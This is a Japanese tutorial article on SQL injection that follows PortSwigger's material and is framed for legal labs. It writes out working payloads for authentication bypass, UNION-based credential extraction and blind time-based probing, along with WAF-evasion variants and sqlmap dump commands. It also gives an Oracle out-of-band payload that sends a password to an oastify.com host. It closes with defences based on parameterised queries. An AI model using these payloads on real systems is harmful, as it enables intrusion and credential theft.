OWASP Top 10:2025 でインジェクションが常に上位を占め続ける理由はシンプルです。刺さると影響が壊滅的だから。SQLインジェクション(SQLi)は、データベース全体の窃取から認証バイパス、時にサーバー乗っ取りまで至ります。本記事は、その攻撃手法を PortSwigger Web Security Academy に忠実に、しかし手を動かせる粒度で解説します。
このクラスタの絶対の前提: 以下の全ペイロードは、合法ラボ(localhost限定のOWASP Juice Shop / DVWA)または書面で許可されたスコープでのみ実行します。無許可の対象への送信は、それ自体が攻撃であり不正アクセス禁止法等に直結します(→ 法律ガイド)。攻撃クラス全体の地図は ピラー を参照。
1. SQLiの本質 — データがクエリ構造に混入する
アプリは、ユーザー入力を文字列連結でSQLに埋め込むと脆弱になります。
# 脆弱な組み立て(概念)
"SELECT * FROM products WHERE category = '" + input + "' AND released = 1"
ここで input に Gifts ではなく ' を入れると、クエリ構文が壊れます。
SELECT * FROM products WHERE category = ''' AND released = 1 -- 構文エラー
この「エラーや挙動変化」こそが検出の第一歩です。PortSwigger が示す通り、'・--(コメント)・OR 1=1・時間遅延・OASTペイロードを順に試して、入力がクエリに混入していないかを探ります。
2. 認証ロジックの破壊(subverting application logic)
最も古典的かつ強烈なのが、ログインの認証バイパスです。ログインクエリが概念的にこうだとします。
SELECT * FROM users WHERE username = 'wiener' AND password = 'secret'
username に administrator'-- を入れると、以降がコメントアウトされ、パスワード照合が消えます。
SELECT * FROM users WHERE username = 'administrator'--' AND password = ''
パスワードを知らなくても administrator としてログインできてしまう。これが「アプリのロジックを覆す」典型です。
3. UNIONベース攻撃 — 他テーブルへ横展開する
結果がレスポンスに表示される場合、UNION SELECT で別テーブルのデータを相乗りさせられます。PortSwigger の手順は機械的です。
3.1 列数を特定する
UNIONは前後のクエリで列数が一致しないと失敗します。まず列数を割り出します。
-- 方法A: ORDER BY をインクリメント。エラーになる手前が列数
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3-- -- ここでエラー → 列数は 2
-- 方法B: NULL を増やしながら UNION SELECT。成功した個数が列数
' UNION SELECT NULL--
' UNION SELECT NULL,NULL-- -- 成功 → 列数は 2
3.2 文字列を表示できる列を見つける
抜いたデータを画面に出すには、文字列を受けられる列が要ります。
' UNION SELECT 'a',NULL-- -- 'a' が表示されれば1列目は文字列OK
' UNION SELECT NULL,'a'-- -- 2列目で試す
3.3 DBのメタデータを列挙し、資格情報を抜く
多くのDBは information_schema でスキーマを自己記述します。
-- テーブル名を列挙
' UNION SELECT table_name, NULL FROM information_schema.tables--
-- 狙ったテーブルの列名を列挙
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users'--
-- 資格情報を抜く(複数列を連結して1列に収める)
' UNION SELECT username || '~' || password, NULL FROM users--
DBごとの方言に注意: 文字列連結は Oracle/PostgreSQL が
||、MySQL はCONCAT()。コメントは--(後ろにスペース)か#(MySQL)。バージョン取得はSELECT @@version(MySQL/MSSQL)/SELECT version()(PostgreSQL)/SELECT banner FROM v$version(Oracle)。まず「examining the database」でDB種別を確定させると、以降が一気に楽になります。
4. ブラインドSQLi — 結果が見えなくても抜く
結果がレスポンスに出ない(が、挙動は変わる)場合がブラインドSQLiです。PortSwigger は4系統を挙げます。
4.1 ブール条件ベース
「条件が真かどうか」で表示が変わることを利用し、1ビットずつ推測します。
-- パスワード1文字目が 's' か?を真偽で判定
xyz' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)='s'--
-- 「Welcome back」が出れば真、出なければ偽。文字を総当たりして1文字ずつ確定
4.2 時間ベース(time-delay)
表示すら変わらないなら、応答時間を信号にします。
-- PostgreSQL: 条件が真なら10秒待つ
'%3BSELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--
-- MySQL: 条件が真なら SLEEP(10)
' AND IF(1=1, SLEEP(10), 0)--
-- MSSQL: WAITFOR DELAY
'; IF (1=1) WAITFOR DELAY '0:0:10'--
応答が10秒遅れたら条件は真。**「遅い=1、速い=0」**で情報を引き出します。
4.3 OAST(アウトオブバンド)
DBに外部への通信を起こさせ、その着信自体を信号にします(Burp Collaborator が定番)。ファイアウォールでHTTP応答が見えない環境でも、DNS/HTTPの着信は抜けることが多く、強力です。
-- Oracle: 抽出したデータをサブドメインに載せてDNS解決させる(概念)
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0"?><!DOCTYPE x [<!ENTITY % p SYSTEM "http://'||(SELECT password FROM users WHERE rownum=1)||'.<collaborator-id>.oastify.com/">%p;]>'),'/x') FROM dual--
5. sqlmap — 自動化(許可スコープ限定)
手作業の手筋を理解したら、sqlmap で自動化します。ただし対象は自分の資産・許可スコープのみ。
# Burpで保存したリクエストを食わせる(Cookie/認証込みで再現性が高い)
sqlmap -r request.txt --batch \
--level=2 --risk=2 \ # 試すペイロードの深さ/危険度(上げるほど侵襲的)
--technique=BEUST \ # B:ブール E:エラー U:UNION S:スタック T:時間
--dbs # まずDB一覧を列挙
# 狙ったテーブルを抜く
sqlmap -r request.txt --batch -D shop -T users --dump
--risk/--levelを上げると検出力は上がりますが、侵襲性も上がります(データ更新系を試す等)。本番に近い許可スコープでは、依頼者と影響範囲を合意してから上げること。自動化ツールほど、向ける先の正しさが致命的になります。
6. WAF回避の基礎 — “設計の代わりにならない”ことの証明
WAF(Web Application Firewall)はパターンで既知ペイロードを弾きますが、等価変換で回避され得ます。これは「WAFは多層防御の一枚であって、根本対策ではない」ことの裏返しです。
-- 代表的な等価変換(教育目的・自分のlab限定)
'/**/UNION/**/SELECT/**/... -- 空白をコメントに置換
'/*!50000UNION*/ SELECT ... -- MySQLのバージョン付きコメント
%55NION %53ELECT -- URLエンコード/大小混在
' UNiOn sElEcT ... -- 大文字小文字の混在
だからこそ、WAFに頼り切るのではなく、後述のパラメータ化クエリでSQLiを「そもそも成立させない」ことが本筋です。
7. 【守る側】根本対策 — パラメータ化クエリ一択
ここからが、診断の価値を最大化するパートです。攻撃を理解した今、設計でどう潰すか。
PortSwigger の結論は明快で、**パラメータ化クエリ(プレースホルダ)**です。入力を「コード」ではなく常に「データ」として扱わせます。
// ❌ 脆弱:文字列連結(入力がクエリ構造に混入する)
const rows = await db.query(
`SELECT * FROM products WHERE category = '${category}'`
);
// ✅ 安全:プレースホルダ。値は常に「データ」として束縛される
const rows = await db.query(
"SELECT * FROM products WHERE category = $1",
[category]
);
ただし、プレースホルダで守れないコンテキストがあります。テーブル名・列名・ORDER BY 句は値ではなく識別子なので束縛できません。ここは許可リストで守ります。
// ORDER BY の列名はバインドできない → 許可リストで検証(DRYな単一の真実源)
const SORTABLE = { name: "name", price: "price", created: "created_at" } as const;
function sortColumn(input: string): string {
const col = SORTABLE[input as keyof typeof SORTABLE];
if (!col) throw new Error("invalid sort column"); // 想定外は即拒否
return col;
}
- ORM/クエリビルダ(Prisma・Drizzle・Kysely)は既定でパラメータ化するため、生SQLの文字列連結を避けるだけで大半を防げます。ただし
$queryRawUnsafe等のエスケープハッチは要注意。 - Supabase/PostgREST + RPC に特化した予防策は Supabase × PostgreSQL のSQLi対策 で詳説しています。
- 多層防御:最小権限のDBユーザー(参照系は読み取り専用ロール)、WAF、エラーメッセージの抑制を重ねる。
8. まとめ
- 検出:
'を入れてエラー/挙動変化を観察。文字列・数値・ORDER BY・UNIONの各コンテキストで。 - UNION:列数特定 → 文字列列の発見 →
information_schema列挙 → 資格情報抽出。 - ブラインド:ブール条件・時間ベース(
SLEEP/pg_sleep)・OASTで1ビットずつ。 - sqlmap:自動化は強力。だが対象は自分の資産・許可スコープのみ。
- 根本対策:パラメータ化クエリ一択。識別子は許可リスト。WAFは一枚であり設計の代替にあらず。
次は、クライアントサイドの王者 XSS攻撃の完全攻略 へ。注入クラスの理解が、そのまま防御設計の解像度を上げます。